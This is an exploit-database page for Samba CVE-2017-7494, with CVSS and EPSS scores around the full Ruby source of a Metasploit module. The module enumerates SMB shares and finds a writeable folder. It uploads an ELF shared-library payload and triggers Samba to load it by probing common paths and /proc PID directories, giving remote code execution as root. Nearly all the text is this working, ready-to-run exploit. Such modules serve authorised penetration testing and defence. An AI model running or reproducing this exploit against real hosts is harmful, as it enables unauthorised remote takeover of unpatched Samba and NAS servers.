Lucene search

K
exploitdbMetasploitEDB-ID:42084
HistoryMay 29, 2017 - 12:00 a.m.

Samba 3.5.0 < 4.4.14/4.5.10/4.6.4 - 'is_known_pipename()' Arbitrary Module Load (Metasploit)

2017-05-2900:00:00
Metasploit
www.exploit-db.com
1198

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

AI Score

Confidence

High

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.973 High

EPSS

Percentile

99.8%

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba is_known_pipename() Arbitrary Module Load',
      'Description'    => %q{
          This module triggers an arbitrary shared library load vulnerability
        in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
        requires valid credentials, a writeable folder in an accessible share,
        and knowledge of the server-side path of the writeable folder. In
        some cases, anonymous access combined with common filesystem locations
        can be used to automatically exploit this vulnerability.
      },
      'Author'         =>
        [
          'steelo <knownsteelo[at]gmail.com>',    # Vulnerability Discovery
          'hdm',                                  # Metasploit Module
          'Brendan Coles <bcoles[at]gmail.com>',  # Check logic
          'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-7494' ],
          [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
        ],
      'Payload'         =>
        {
          'Space'       => 9000,
          'DisableNops' => true
        },
      'Platform'        => 'linux',
      #
      # Targets are currently limited by platforms with ELF-SO payload wrappers
      #
      'Targets'         =>
        [

          [ 'Linux x86',        { 'Arch' => ARCH_X86 } ],
          [ 'Linux x86_64',     { 'Arch' => ARCH_X64 } ],
          #
          # Not ready yet
          # [ 'Linux ARM (LE)',   { 'Arch' => ARCH_ARMLE } ],
          # [ 'Linux MIPS',       { 'Arch' => MIPS } ],
        ],
      'Privileged'      => true,
      'DisclosureDate'  => 'Mar 24 2017',
      'DefaultTarget'   => 1))

    register_options(
      [
        OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
        OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
        OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
      ])

    register_advanced_options(
      [
        OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),
      ])
  end


  def generate_common_locations
    candidates = []
    if datastore['SMB_SHARE_BASE'].to_s.length > 0
      candidates << datastore['SMB_SHARE_BASE']
    end

    %W{ /volume1 /volume2 /volume3 /volume4
        /shared /mnt /mnt/usb /media /mnt/media
        /var/samba /tmp /home /home/shared
    }.each do |base_name|
      candidates << base_name
      candidates << [base_name, @share]
      candidates << [base_name, @share.downcase]
      candidates << [base_name, @share.upcase]
      candidates << [base_name, @share.capitalize]
      candidates << [base_name, @share.gsub(" ", "_")]
    end

    candidates.uniq
  end

  def enumerate_directories(share)
    begin
      self.simple.connect("\\\\#{rhost}\\#{share}")
      stuff = self.simple.client.find_first("\\*")
      directories = [""]
      stuff.each_pair do |entry,entry_attr|
        next if %W{. ..}.include?(entry)
        next unless entry_attr['type'] == 'D'
        directories << entry
      end

      return directories

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Enum #{share}: #{e}")
      return nil

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{share}"]
        self.simple.disconnect("\\\\#{rhost}\\#{share}")
      end
    end
  end

  def verify_writeable_directory(share, directory="")
    begin
      self.simple.connect("\\\\#{rhost}\\#{share}")

      random_filename = Rex::Text.rand_text_alpha(5)+".txt"
      filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"

      wfd = simple.open(filename, 'rwct')
      wfd << Rex::Text.rand_text_alpha(8)
      wfd.close

      simple.delete(filename)
      return true

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Write #{share}#{filename}: #{e}")
      return false

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{share}"]
        self.simple.disconnect("\\\\#{rhost}\\#{share}")
      end
    end
  end

  def share_type(val)
    [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
  end

  def enumerate_shares_lanman
    shares = []
    begin
      res = self.simple.client.trans(
        "\\PIPE\\LANMAN",
        (
          [0x00].pack('v') +
          "WrLeh\x00"   +
          "B13BWz\x00"  +
          [0x01, 65406].pack("vv")
        ))
    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Could not enumerate shares via LANMAN")
      return []
    end
    if res.nil?
      vprint_error("Could not enumerate shares via LANMAN")
      return []
    end

    lerror, lconv, lentries, lcount = res['Payload'].to_s[
      res['Payload'].v['ParamOffset'],
      res['Payload'].v['ParamCount']
    ].unpack("v4")

    data = res['Payload'].to_s[
      res['Payload'].v['DataOffset'],
      res['Payload'].v['DataCount']
    ]

    0.upto(lentries - 1) do |i|
      sname,tmp = data[(i * 20) +  0, 14].split("\x00")
      stype     = data[(i * 20) + 14, 2].unpack('v')[0]
      scoff     = data[(i * 20) + 16, 2].unpack('v')[0]
      scoff -= lconv if lconv != 0
      scomm,tmp = data[scoff, data.length - scoff].split("\x00")
      shares << [ sname, share_type(stype), scomm]
    end

    shares
  end

  def probe_module_path(path, simple_client=self.simple)
    begin
      simple_client.create_pipe(path)
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Probe: #{path}: #{e}")
    end
  end

  def find_writeable_path(share)
    subdirs = enumerate_directories(share)
    return unless subdirs

    if datastore['SMB_FOLDER'].to_s.length > 0
      subdirs.unshift(datastore['SMB_FOLDER'])
    end

    subdirs.each do |subdir|
      next unless verify_writeable_directory(share, subdir)
      return subdir
    end

    nil
  end

  def find_writeable_share_path
    @path = nil
    share_info = enumerate_shares_lanman
    if datastore['SMB_SHARE_NAME'].to_s.length > 0
      share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
    end

    share_info.each do |share|
      next if share.first.upcase == 'IPC$'
      found = find_writeable_path(share.first)
      next unless found
      @share = share.first
      @path  = found
      break
    end
  end

  def find_writeable
    find_writeable_share_path
    unless @share && @path
      print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
      fail_with(Failure::NoTarget, "No matching target")
    end
    print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
  end

  def upload_payload
    begin
      self.simple.connect("\\\\#{rhost}\\#{@share}")

      random_filename = Rex::Text.rand_text_alpha(8)+".so"
      filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
      wfd = simple.open(filename, 'rwct')
      wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
        payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
      )
      wfd.close

      @payload_name = random_filename
      return true

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      print_error("Write #{@share}#{filename}: #{e}")
      return false

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{@share}"]
        self.simple.disconnect("\\\\#{rhost}\\#{@share}")
      end
    end
  end

  def find_payload

    # Reconnect to IPC$
    simple.connect("\\\\#{rhost}\\IPC$")

    # Look for common paths first, since they can be a lot quicker than hunting PIDs
    print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
    generate_common_locations.each do |location|
      target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
      print_status("Trying location #{target}...")
      probe_module_path(target)
    end

    # Exit early if we already have a session
    return if session_created?

    return unless datastore['BruteforcePID']

    # XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
    #      to non-root, but their /proc/pid directories are still owned by root. Trying to
    #      read the /proc/other-pid/cwd/target.so results in permission denied. There is a
    #      good chance that this still works on some embedded systems and odd-ball Linux.

    # Use the PID hunting strategy devised by Tavis Ormandy
    print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")

    # Configure the main connection to have a working directory of the file share
    simple.connect("\\\\#{rhost}\\#{@share}")

    # Use a second connection to brute force the PID of the first connection
    probe_conn = connect(false)
    smb_login(probe_conn)
    probe_conn.connect("\\\\#{rhost}\\#{@share}")
    probe_conn.connect("\\\\#{rhost}\\IPC$")

    # Run from 2 to MAX_PID (ushort) trying to read the other process CWD
    2.upto(32768) do |pid|

      # Look for the PID associated with our main SMB connection
      target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
      vprint_status("Trying PID with target path #{target}...")
      probe_module_path(target, probe_conn)

      # Keep our main connection alive
      if pid % 1000 == 0
         self.simple.client.find_first("\\*")
      end
    end

  end

  def check
    res = smb_fingerprint

    unless res['native_lm'] =~ /Samba ([\d\.]+)/
      print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
      return CheckCode::Safe
    end

    samba_version = Gem::Version.new($1.gsub(/\.$/, ''))

    vprint_status("Samba version identified as #{samba_version.to_s}")

    if samba_version < Gem::Version.new('3.5.0')
      return CheckCode::Safe
    end

    # Patched in 4.4.14
    if samba_version < Gem::Version.new('4.5.0') &&
       samba_version >= Gem::Version.new('4.4.14')
      return CheckCode::Safe
    end

    # Patched in 4.5.10
    if samba_version > Gem::Version.new('4.5.0') &&
       samba_version < Gem::Version.new('4.6.0') &&
       samba_version >= Gem::Version.new('4.5.10')
      return CheckCode::Safe
    end

    # Patched in 4.6.4
    if samba_version >= Gem::Version.new('4.6.4')
      return CheckCode::Safe
    end

    connect
    smb_login
    find_writeable_share_path
    disconnect

    if @share.to_s.length == 0
      print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
      return CheckCode::Detected
    end

    print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
    return CheckCode::Appears
  end

  def exploit
    # Setup SMB
    connect
    smb_login

    # Find a writeable share
    find_writeable

    # Upload the shared library payload
    upload_payload

    # Find and execute the payload from the share
    begin
      find_payload
    rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
    end

    # Cleanup the payload
    begin
      simple.connect("\\\\#{rhost}\\#{@share}")
      uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
      simple.delete(uploaded_path)
    rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
    end

    # Shutdown
    disconnect
  end

end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

AI Score

Confidence

High

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.973 High

EPSS

Percentile

99.8%